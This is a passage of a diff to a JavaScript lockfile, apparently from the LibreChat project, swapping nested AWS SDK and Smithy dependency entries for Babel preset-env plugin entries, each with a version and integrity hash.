- "@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/uuid": ["@smithy/uuid@1.1.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-4aUIteuyxtBUhVdiQqcDhKFitwfd9hqoSDYY2KRXiWtgoWJ9Bmise+KfEPDiVHWeJepvF8xJO9/9+WDIciMFFw=="],
-
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env": ["@aws-sdk/credential-provider-env@3.927.0", "", { "dependencies": { "@aws-sdk/core": "3.927.0", "@aws-sdk/types": "3.922.0", "@smithy/property-provider": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-bAllBpmaWINpf0brXQWh/hjkBctapknZPYb3FJRlBHytEGHi7TpgqBXi8riT0tc6RVWChhnw58rQz22acOmBuw=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http": ["@aws-sdk/credential-provider-http@3.927.0", "", { "dependencies": { "@aws-sdk/core": "3.927.0", "@aws-sdk/types": "3.922.0", "@smithy/fetch-http-handler": "^5.3.5", "@smithy/node-http-handler": "^4.4.4", "@smithy/property-provider": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/smithy-client": "^4.9.2", "@smithy/types": "^4.8.1", "@smithy/util-stream": "^4.5.5", "tslib": "^2.6.2" } }, "sha512-jEvb8C7tuRBFhe8vZY9vm9z6UQnbP85IMEt3Qiz0dxAd341Hgu0lOzMv5mSKQ5yBnTLq+t3FPKgD9tIiHLqxSQ=="],
@@ -7599,99 +6835,275 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@smithy/shared-ini-file-loader": ["@smithy/shared-ini-file-loader@4.3.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-y5ozxeQ9omVjbnJo9dtTsdXj9BEvGx2X8xvRgKnV+/7wLBuYJQL6dOa/qMY6omyHi7yjt1OA97jZLoVRYi8lxA=="],
- "@langchain/aws/@aws-sdk/credential-provider-node/@smithy/types": ["@smithy/types@4.8.1", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-N0Zn0OT1zc+NA+UVfkYqQzviRh5ucWwO7mBV3TmHHprMnfcJNfhlPicDkBHi0ewbh+y3evR6cNAW0Raxvb01NA=="],
-
"@langchain/google-gauth/google-auth-library/gaxios": ["gaxios@7.1.3", "", { "dependencies": { "extend": "^3.0.2", "https-proxy-agent": "^7.0.1", "node-fetch": "^3.3.2", "rimraf": "^5.0.1" } }, "sha512-YGGyuEdVIjqxkxVH1pUTMY/XtmmsApXrCVv5EU25iX6inEPbV+VakJfLealkBtJN69AQmh1eGOdCl9Sm1UP6XQ=="],
"@langchain/google-gauth/google-auth-library/gcp-metadata": ["gcp-metadata@8.1.2", "", { "dependencies": { "gaxios": "^7.0.0", "google-logging-utils": "^1.0.0", "json-bigint": "^1.0.0" } }, "sha512-zV/5HKTfCeKWnxG0Dmrw51hEWFGfcF2xiXqcA3+J90WDuP0SvoiSO5ORvcBsifmx/FoIjgQN3oNOGaQ5PhLFkg=="],
"@langchain/google-gauth/google-auth-library/gtoken": ["gtoken@8.0.0", "", { "dependencies": { "gaxios": "^7.0.0", "jws": "^4.0.0" } }, "sha512-+CqsMbHPiSTdtSO14O51eMNlrp9N79gmeqmXeouJOhfucAedHw9noVe/n5uJk3tbKE6a+6ZCQg3RPhVhHByAIw=="],
- "@librechat/backend/@aws-sdk/client-bedrock-runtime/@aws-sdk/core": ["@aws-sdk/core@3.973.18", "", { "dependencies": { "@aws-sdk/types": "^3.973.5", "@aws-sdk/xml-builder": "^3.972.10", "@smithy/core": "^3.23.8", "@smithy/node-config-provider": "^4.3.11", "@smithy/property-provider": "^4.2.11", "@smithy/protocol-http": "^5.3.11", "@smithy/signature-v4": "^5.3.11", "@smithy/smithy-client": "^4.12.2", "@smithy/types": "^4.13.0", "@smithy/util-base64": "^4.3.2", "@smithy/util-middleware": "^4.2.11", "@smithy/util-utf8": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-GUIlegfcK2LO1J2Y98sCJy63rQSiLiDOgVw7HiHPRqfI2vb3XozTVqemwO0VSGXp54ngCnAQz0Lf0YPCBINNxA=="],
+ "@librechat/client/@babel/preset-env/@babel/plugin-bugfix-firefox-class-in-computed-class-key": ["@babel/plugin-bugfix-firefox-class-in-computed-class-key@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/traverse": "^7.28.5" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-87GDMS3tsmMSi/3bWOte1UblL+YUTFMV8SZPZ2eSEL17s74Cw/l63rR6NmGVKMYW2GYi85nE+/d6Hw5N0bEk2Q=="],
- "@librechat/backend/@aws-sdk/client-bedrock-runtime/@aws-sdk/credential-provider-node": ["@aws-sdk/credential-provider-node@3.972.18", "", { "dependencies": { "@aws-sdk/credential-provider-env": "^3.972.16", "@aws-sdk/credential-provider-http": "^3.972.18", "@aws-sdk/credential-provider-ini": "^3.972.17", "@aws-sdk/credential-provider-process": "^3.972.16", "@aws-sdk/credential-provider-sso": "^3.972.17", "@aws-sdk/credential-provider-web-identity": "^3.972.17", "@aws-sdk/types": "^3.973.5", "@smithy/credential-provider-imds": "^4.2.11", "@smithy/property-provider": "^4.2.11", "@smithy/shared-ini-file-loader": "^4.4.6", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-ZDJa2gd1xiPg/nBDGhUlat02O8obaDEnICBAVS8qieZ0+nDfaB0Z3ec6gjZj27OqFTjnB/Q5a0GwQwb7rMVViw=="],
+ "@librechat/client/@babel/preset-env/@babel/plugin-bugfix-safari-class-field-initializer-scope": ["@babel/plugin-bugfix-safari-class-field-initializer-scope@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-qNeq3bCKnGgLkEXUuFry6dPlGfCdQNZbn7yUAPCInwAJHMU7THJfrBSozkcWq5sNM6RcF3S8XyQL2A52KNR9IA=="],
- "@librechat/backend/@aws-sdk/client-bedrock-runtime/@aws-sdk/eventstream-handler-node": ["@aws-sdk/eventstream-handler-node@3.972.10", "", { "dependencies": { "@aws-sdk/types": "^3.973.5", "@smithy/eventstream-codec": "^4.2.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-g2Z9s6Y4iNh0wICaEqutgYgt/Pmhv5Ev9G3eKGFe2w9VuZDhc76vYdop6I5OocmpHV79d4TuLG+JWg5rQIVDVA=="],
+ "@librechat/client/@babel/preset-env/@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": ["@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-g4L7OYun04N1WyqMNjldFwlfPCLVkgB54A/YCXICZYBsvJJE3kByKv9c9+R/nAfmIfjl2rKYLNyMHboYbZaWaA=="],
- "@librechat/backend/@aws-sdk/client-bedrock-runtime/@aws-sdk/middleware-eventstream": ["@aws-sdk/middleware-eventstream@3.972.7", "", { "dependencies": { "@aws-sdk/types": "^3.973.5", "@smithy/protocol-http": "^5.3.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-VWndapHYCfwLgPpCb/xwlMKG4imhFzKJzZcKOEioGn7OHY+6gdr0K7oqy1HZgbLa3ACznZ9fku+DzmAi8fUC0g=="],
+ "@librechat/client/@babel/preset-env/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": ["@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/plugin-transform-optional-chaining": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.13.0" } }, "sha512-oO02gcONcD5O1iTLi/6frMJBIwWEHceWGSGqrpCmEL8nogiS6J9PBlE48CaK20/Jx1LuRml9aDftLgdjXT8+Cw=="],
- "@librechat/backend/@aws-sdk/client-bedrock-runtime/@aws-sdk/middleware-host-header": ["@aws-sdk/middleware-host-header@3.972.7", "", { "dependencies": { "@aws-sdk/types": "^3.973.5", "@smithy/protocol-http": "^5.3.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-aHQZgztBFEpDU1BB00VWCIIm85JjGjQW1OG9+98BdmaOpguJvzmXBGbnAiYcciCd+IS4e9BEq664lhzGnWJHgQ=="],
+ "@librechat/client/@babel/preset-env/@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly": ["@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly@7.28.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/traverse": "^7.28.3" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-b6YTX108evsvE4YgWyQ921ZAFFQm3Bn+CA3+ZXlNVnPhx+UfsVURoPjfGAPCjBgrqo30yX/C2nZGX96DxvR9Iw=="],
- "@librechat/backend/@aws-sdk/client-bedrock-runtime/@aws-sdk/middleware-logger": ["@aws-sdk/middleware-logger@3.972.7", "", { "dependencies": { "@aws-sdk/types": "^3.973.5", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-LXhiWlWb26txCU1vcI9PneESSeRp/RYY/McuM4SpdrimQR5NgwaPb4VJCadVeuGWgh6QmqZ6rAKSoL1ob16W6w=="],
+ "@librechat/client/@babel/preset-env/@babel/plugin-syntax-import-assertions": ["@babel/plugin-syntax-import-assertions@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-UT/Jrhw57xg4ILHLFnzFpPDlMbcdEicaAtjPQpbj9wa8T4r5KVWCimHcL/460g8Ht0DMxDyjsLgiWSkVjnwPFg=="],
- "@librechat/backend/@aws-sdk/client-bedrock-runtime/@aws-sdk/middleware-recursion-detection": ["@aws-sdk/middleware-recursion-detection@3.972.7", "", { "dependencies": { "@aws-sdk/types": "^3.973.5", "@aws/lambda-invoke-store": "^0.2.2", "@smithy/protocol-http": "^5.3.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-l2VQdcBcYLzIzykCHtXlbpiVCZ94/xniLIkAj0jpnpjY4xlgZx7f56Ypn+uV1y3gG0tNVytJqo3K9bfMFee7SQ=="],
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-arrow-functions": ["@babel/plugin-transform-arrow-functions@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-8Z4TGic6xW70FKThA5HYEKKyBpOOsucTOD1DjU3fZxDg+K3zBJcXMFnt/4yQiZnf5+MiOMSXQ9PaEK/Ilh1DeA=="],
- "@librechat/backend/@aws-sdk/client-bedrock-runtime/@aws-sdk/middleware-user-agent": ["@aws-sdk/middleware-user-agent@3.972.19", "", { "dependencies": { "@aws-sdk/core": "^3.973.18", "@aws-sdk/types": "^3.973.5", "@aws-sdk/util-endpoints": "^3.996.4", "@smithy/core": "^3.23.8", "@smithy/protocol-http": "^5.3.11", "@smithy/types": "^4.13.0", "@smithy/util-retry": "^4.2.11", "tslib": "^2.6.2" } }, "sha512-Km90fcXt3W/iqujHzuM6IaDkYCj73gsYufcuWXApWdzoTy6KGk8fnchAjePMARU0xegIR3K4N3yIo1vy7OVe8A=="],
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-async-generator-functions": ["@babel/plugin-transform-async-generator-functions@7.28.0", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-remap-async-to-generator": "^7.27.1", "@babel/traverse": "^7.28.0" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-BEOdvX4+M765icNPZeidyADIvQ1m1gmunXufXxvRESy/jNNyfovIqUyE7MVgGBjWktCoJlzvFA1To2O4ymIO3Q=="],
- "@librechat/backend/@aws-sdk/client-bedrock-runtime/@aws-sdk/middleware-websocket": ["@aws-sdk/middleware-websocket@3.972.12", "", { "dependencies": { "@aws-sdk/types": "^3.973.5", "@aws-sdk/util-format-url": "^3.972.7", "@smithy/eventstream-codec": "^4.2.11", "@smithy/eventstream-serde-browser": "^4.2.11", "@smithy/fetch-http-handler": "^5.3.13", "@smithy/protocol-http": "^5.3.11", "@smithy/signature-v4": "^5.3.11", "@smithy/types": "^4.13.0", "@smithy/util-base64": "^4.3.2", "@smithy/util-hex-encoding": "^4.2.2", "@smithy/util-utf8": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-iyPP6FVDKe/5wy5ojC0akpDFG1vX3FeCUU47JuwN8xfvT66xlEI8qUJZPtN55TJVFzzWZJpWL78eqUE31md08Q=="],
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-async-to-generator": ["@babel/plugin-transform-async-to-generator@7.27.1", "", { "dependencies": { "@babel/helper-module-imports": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-remap-async-to-generator": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-NREkZsZVJS4xmTr8qzE5y8AfIPqsdQfRuUiLRTEzb7Qii8iFWCyDKaUV2c0rCuh4ljDZ98ALHP/PetiBV2nddA=="],
- "@librechat/backend/@aws-sdk/client-bedrock-runtime/@aws-sdk/region-config-resolver": ["@aws-sdk/region-config-resolver@3.972.7", "", { "dependencies": { "@aws-sdk/types": "^3.973.5", "@smithy/config-resolver": "^4.4.10", "@smithy/node-config-provider": "^4.3.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-/Ev/6AI8bvt4HAAptzSjThGUMjcWaX3GX8oERkB0F0F9x2dLSBdgFDiyrRz3i0u0ZFZFQ1b28is4QhyqXTUsVA=="],
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-block-scoped-functions": ["@babel/plugin-transform-block-scoped-functions@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-cnqkuOtZLapWYZUYM5rVIdv1nXYuFVIltZ6ZJ7nIj585QsjKM5dhL2Fu/lICXZ1OyIAFc7Qy+bvDAtTXqGrlhg=="],
- "@librechat/backend/@aws-sdk/client-bedrock-runtime/@aws-sdk/token-providers": ["@aws-sdk/token-providers@3.1004.0", "", { "dependencies": { "@aws-sdk/core": "^3.973.18", "@aws-sdk/nested-clients": "^3.996.7", "@aws-sdk/types": "^3.973.5", "@smithy/property-provider": "^4.2.11", "@smithy/shared-ini-file-loader": "^4.4.6", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-j9BwZZId9sFp+4GPhf6KrwO8Tben2sXibZA8D1vv2I1zBdvkUHcBA2g4pkqIpTRalMTLC0NPkBPX0gERxfy/iA=="],
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-block-scoping": ["@babel/plugin-transform-block-scoping@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-45DmULpySVvmq9Pj3X9B+62Xe+DJGov27QravQJU1LLcapR6/10i+gYVAucGGJpHBp5mYxIMK4nDAT/QDLr47g=="],
- "@librechat/backend/@aws-sdk/client-bedrock-runtime/@aws-sdk/types": ["@aws-sdk/types@3.973.5", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-hl7BGwDCWsjH8NkZfx+HgS7H2LyM2lTMAI7ba9c8O0KqdBLTdNJivsHpqjg9rNlAlPyREb6DeDRXUl0s8uFdmQ=="],
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-class-properties": ["@babel/plugin-transform-class-properties@7.27.1", "", { "dependencies": { "@babel/helper-create-class-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-D0VcalChDMtuRvJIu3U/fwWjf8ZMykz5iZsg77Nuj821vCKI3zCyRLwRdWbsuJ/uRwZhZ002QtCqIkwC/ZkvbA=="],
- "@librechat/backend/@aws-sdk/client-bedrock-runtime/@aws-sdk/util-endpoints": ["@aws-sdk/util-endpoints@3.996.4", "", { "dependencies": { "@aws-sdk/types": "^3.973.5", "@smithy/types": "^4.13.0", "@smithy/url-parser": "^4.2.11", "@smithy/util-endpoints": "^3.3.2", "tslib": "^2.6.2" } }, "sha512-Hek90FBmd4joCFj+Vc98KLJh73Zqj3s2W56gjAcTkrNLMDI5nIFkG9YpfcJiVI1YlE2Ne1uOQNe+IgQ/Vz2XRA=="],
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-class-static-block": ["@babel/plugin-transform-class-static-block@7.28.3", "", { "dependencies": { "@babel/helper-create-class-features-plugin": "^7.28.3", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.12.0" } }, "sha512-LtPXlBbRoc4Njl/oh1CeD/3jC+atytbnf/UqLoqTDcEYGUPj022+rvfkbDYieUrSj3CaV4yHDByPE+T2HwfsJg=="],
- "@librechat/backend/@aws-sdk/client-bedrock-runtime/@aws-sdk/util-user-agent-browser": ["@aws-sdk/util-user-agent-browser@3.972.7", "", { "dependencies": { "@aws-sdk/types": "^3.973.5", "@smithy/types": "^4.13.0", "bowser": "^2.11.0", "tslib": "^2.6.2" } }, "sha512-7SJVuvhKhMF/BkNS1n0QAJYgvEwYbK2QLKBrzDiwQGiTRU6Yf1f3nehTzm/l21xdAOtWSfp2uWSddPnP2ZtsVw=="],
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-classes": ["@babel/plugin-transform-classes@7.28.4", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-globals": "^7.28.0", "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1", "@babel/traverse": "^7.28.4" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-cFOlhIYPBv/iBoc+KS3M6et2XPtbT2HiCRfBXWtfpc9OAyostldxIf9YAYB6ypURBBbx+Qv6nyrLzASfJe+hBA=="],
- "@librechat/backend/@aws-sdk/client-bedrock-runtime/@aws-sdk/util-user-agent-node": ["@aws-sdk/util-user-agent-node@3.973.4", "", { "dependencies": { "@aws-sdk/middleware-user-agent": "^3.972.19", "@aws-sdk/types": "^3.973.5", "@smithy/node-config-provider": "^4.3.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" }, "peerDependencies": { "aws-crt": ">=1.0.0" }, "optionalPeers": ["aws-crt"] }, "sha512-uqKeLqZ9D3nQjH7HGIERNXK9qnSpUK08l4MlJ5/NZqSSdeJsVANYp437EM9sEzwU28c2xfj2V6qlkqzsgtKs6Q=="],
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-computed-properties": ["@babel/plugin-transform-computed-properties@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/template": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-lj9PGWvMTVksbWiDT2tW68zGS/cyo4AkZ/QTp0sQT0mjPopCmrSkzxeXkznjqBxzDI6TclZhOJbBmbBLjuOZUw=="],
- "@librechat/backend/@aws-sdk/client-bedrock-runtime/@smithy/config-resolver": ["@smithy/config-resolver@4.4.10", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.11", "@smithy/types": "^4.13.0", "@smithy/util-config-provider": "^4.2.2", "@smithy/util-endpoints": "^3.3.2", "@smithy/util-middleware": "^4.2.11", "tslib": "^2.6.2" } }, "sha512-IRTkd6ps0ru+lTWnfnsbXzW80A8Od8p3pYiZnW98K2Hb20rqfsX7VTlfUwhrcOeSSy68Gn9WBofwPuw3e5CCsg=="],
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-destructuring": ["@babel/plugin-transform-destructuring@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/traverse": "^7.28.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-Kl9Bc6D0zTUcFUvkNuQh4eGXPKKNDOJQXVyyM4ZAQPMveniJdxi8XMJwLo+xSoW3MIq81bD33lcUe9kZpl0MCw=="],
- "@librechat/backend/@aws-sdk/client-bedrock-runtime/@smithy/core": ["@smithy/core@3.23.9", "", { "dependencies": { "@smithy/middleware-serde": "^4.2.12", "@smithy/protocol-http": "^5.3.11", "@smithy/types": "^4.13.0", "@smithy/util-base64": "^4.3.2", "@smithy/util-body-length-browser": "^4.2.2", "@smithy/util-middleware": "^4.2.11", "@smithy/util-stream": "^4.5.17", "@smithy/util-utf8": "^4.2.2", "@smithy/uuid": "^1.1.2", "tslib": "^2.6.2" } }, "sha512-1Vcut4LEL9HZsdpI0vFiRYIsaoPwZLjAxnVQDUMQK8beMS+EYPLDQCXtbzfxmM5GzSgjfe2Q9M7WaXwIMQllyQ=="],
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-dotall-regex": ["@babel/plugin-transform-dotall-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-gEbkDVGRvjj7+T1ivxrfgygpT7GUd4vmODtYpbs0gZATdkX8/iSnOtZSxiZnsgm1YjTgjI6VKBGSJJevkrclzw=="],
- "@librechat/backend/@aws-sdk/client-bedrock-runtime/@smithy/eventstream-serde-browser": ["@smithy/eventstream-serde-browser@4.2.11", "", { "dependencies": { "@smithy/eventstream-serde-universal": "^4.2.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-3rEpo3G6f/nRS7fQDsZmxw/ius6rnlIpz4UX6FlALEzz8JoSxFmdBt0SZnthis+km7sQo6q5/3e+UJcuQivoXA=="],
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-duplicate-keys": ["@babel/plugin-transform-duplicate-keys@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-MTyJk98sHvSs+cvZ4nOauwTTG1JeonDjSGvGGUNHreGQns+Mpt6WX/dVzWBHgg+dYZhkC4X+zTDfkTU+Vy9y7Q=="],
- "@librechat/backend/@aws-sdk/client-bedrock-runtime/@smithy/eventstream-serde-config-resolver": ["@smithy/eventstream-serde-config-resolver@4.3.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-XeNIA8tcP/GDWnnKkO7qEm/bg0B/bP9lvIXZBXcGZwZ+VYM8h8k9wuDvUODtdQ2Wcp2RcBkPTCSMmaniVHrMlA=="],
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-duplicate-named-capturing-groups-regex": ["@babel/plugin-transform-duplicate-named-capturing-groups-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-hkGcueTEzuhB30B3eJCbCYeCaaEQOmQR0AdvzpD4LoN0GXMWzzGSuRrxR2xTnCrvNbVwK9N6/jQ92GSLfiZWoQ=="],
- "@librechat/backend/@aws-sdk/client-bedrock-runtime/@smithy/eventstream-serde-node": ["@smithy/eventstream-serde-node@4.2.11", "", { "dependencies": { "@smithy/eventstream-serde-universal": "^4.2.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-fzbCh18rscBDTQSCrsp1fGcclLNF//nJyhjldsEl/5wCYmgpHblv5JSppQAyQI24lClsFT0wV06N1Porn0IsEw=="],
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-dynamic-import": ["@babel/plugin-transform-dynamic-import@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-MHzkWQcEmjzzVW9j2q8LGjwGWpG2mjwaaB0BNQwst3FIjqsg8Ct/mIZlvSPJvfi9y2AC8mi/ktxbFVL9pZ1I4A=="],
- "@librechat/backend/@aws-sdk/client-bedrock-runtime/@smithy/fetch-http-handler": ["@smithy/fetch-http-handler@5.3.13", "", { "dependencies": { "@smithy/protocol-http": "^5.3.11", "@smithy/querystring-builder": "^4.2.11", "@smithy/types": "^4.13.0", "@smithy/util-base64": "^4.3.2", "tslib": "^2.6.2" } }, "sha512-U2Hcfl2s3XaYjikN9cT4mPu8ybDbImV3baXR0PkVlC0TTx808bRP3FaPGAzPtB8OByI+JqJ1kyS+7GEgae7+qQ=="],
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-exponentiation-operator": ["@babel/plugin-transform-exponentiation-operator@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-D4WIMaFtwa2NizOp+dnoFjRez/ClKiC2BqqImwKd1X28nqBtZEyCYJ2ozQrrzlxAFrcrjxo39S6khe9RNDlGzw=="],
- "@librechat/backend/@aws-sdk/client-bedrock-runtime/@smithy/hash-node": ["@smithy/hash-node@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "@smithy/util-buffer-from": "^4.2.2", "@smithy/util-utf8": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-T+p1pNynRkydpdL015ruIoyPSRw9e/SQOWmSAMmmprfswMrd5Ow5igOWNVlvyVFZlxXqGmyH3NQwfwy8r5Jx0A=="],
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-export-namespace-from": ["@babel/plugin-transform-export-namespace-from@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-tQvHWSZ3/jH2xuq/vZDy0jNn+ZdXJeM8gHvX4lnJmsc3+50yPlWdZXIc5ay+umX+2/tJIqHqiEqcJvxlmIvRvQ=="],
- "@librechat/backend/@aws-sdk/client-bedrock-runtime/@smithy/invalid-dependency": ["@smithy/invalid-dependency@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-cGNMrgykRmddrNhYy1yBdrp5GwIgEkniS7k9O1VLB38yxQtlvrxpZtUVvo6T4cKpeZsriukBuuxfJcdZQc/f/g=="],
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-for-of": ["@babel/plugin-transform-for-of@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-BfbWFFEJFQzLCQ5N8VocnCtA8J1CLkNTe2Ms2wocj75dd6VpiqS5Z5quTYcUoo4Yq+DN0rtikODccuv7RU81sw=="],
- "@librechat/backend/@aws-sdk/client-bedrock-runtime/@smithy/middleware-content-length": ["@smithy/middleware-content-length@4.2.11", "", { "dependencies": { "@smithy/protocol-http": "^5.3.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-UvIfKYAKhCzr4p6jFevPlKhQwyQwlJ6IeKLDhmV1PlYfcW3RL4ROjNEDtSik4NYMi9kDkH7eSwyTP3vNJ/u/Dw=="],
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-function-name": ["@babel/plugin-transform-function-name@7.27.1", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-1bQeydJF9Nr1eBCMMbC+hdwmRlsv5XYOMu03YSWFwNs0HsAmtSxxF1fyuYPqemVldVyFmlCU7w8UE14LupUSZQ=="],
- "@librechat/backend/@aws-sdk/client-bedrock-runtime/@smithy/middleware-endpoint": ["@smithy/middleware-endpoint@4.4.23", "", { "dependencies": { "@smithy/core": "^3.23.9", "@smithy/middleware-serde": "^4.2.12", "@smithy/node-config-provider": "^4.3.11", "@smithy/shared-ini-file-loader": "^4.4.6", "@smithy/types": "^4.13.0", "@smithy/url-parser": "^4.2.11", "@smithy/util-middleware": "^4.2.11", "tslib": "^2.6.2" } }, "sha512-UEFIejZy54T1EJn2aWJ45voB7RP2T+IRzUqocIdM6GFFa5ClZncakYJfcYnoXt3UsQrZZ9ZRauGm77l9UCbBLw=="],
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-json-strings": ["@babel/plugin-transform-json-strings@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-6WVLVJiTjqcQauBhn1LkICsR2H+zm62I3h9faTDKt1qP4jn2o72tSvqMwtGFKGTpojce0gJs+76eZ2uCHRZh0Q=="],
- "@librechat/backend/@aws-sdk/client-bedrock-runtime/@smithy/middleware-retry": ["@smithy/middleware-retry@4.4.40", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.11", "@smithy/protocol-http": "^5.3.11", "@smithy/service-error-classification": "^4.2.11", "@smithy/smithy-client": "^4.12.3", "@smithy/types": "^4.13.0", "@smithy/util-middleware": "^4.2.11", "@smithy/util-retry": "^4.2.11", "@smithy/uuid": "^1.1.2", "tslib": "^2.6.2" } }, "sha512-YhEMakG1Ae57FajERdHNZ4ShOPIY7DsgV+ZoAxo/5BT0KIe+f6DDU2rtIymNNFIj22NJfeeI6LWIifrwM0f+rA=="],
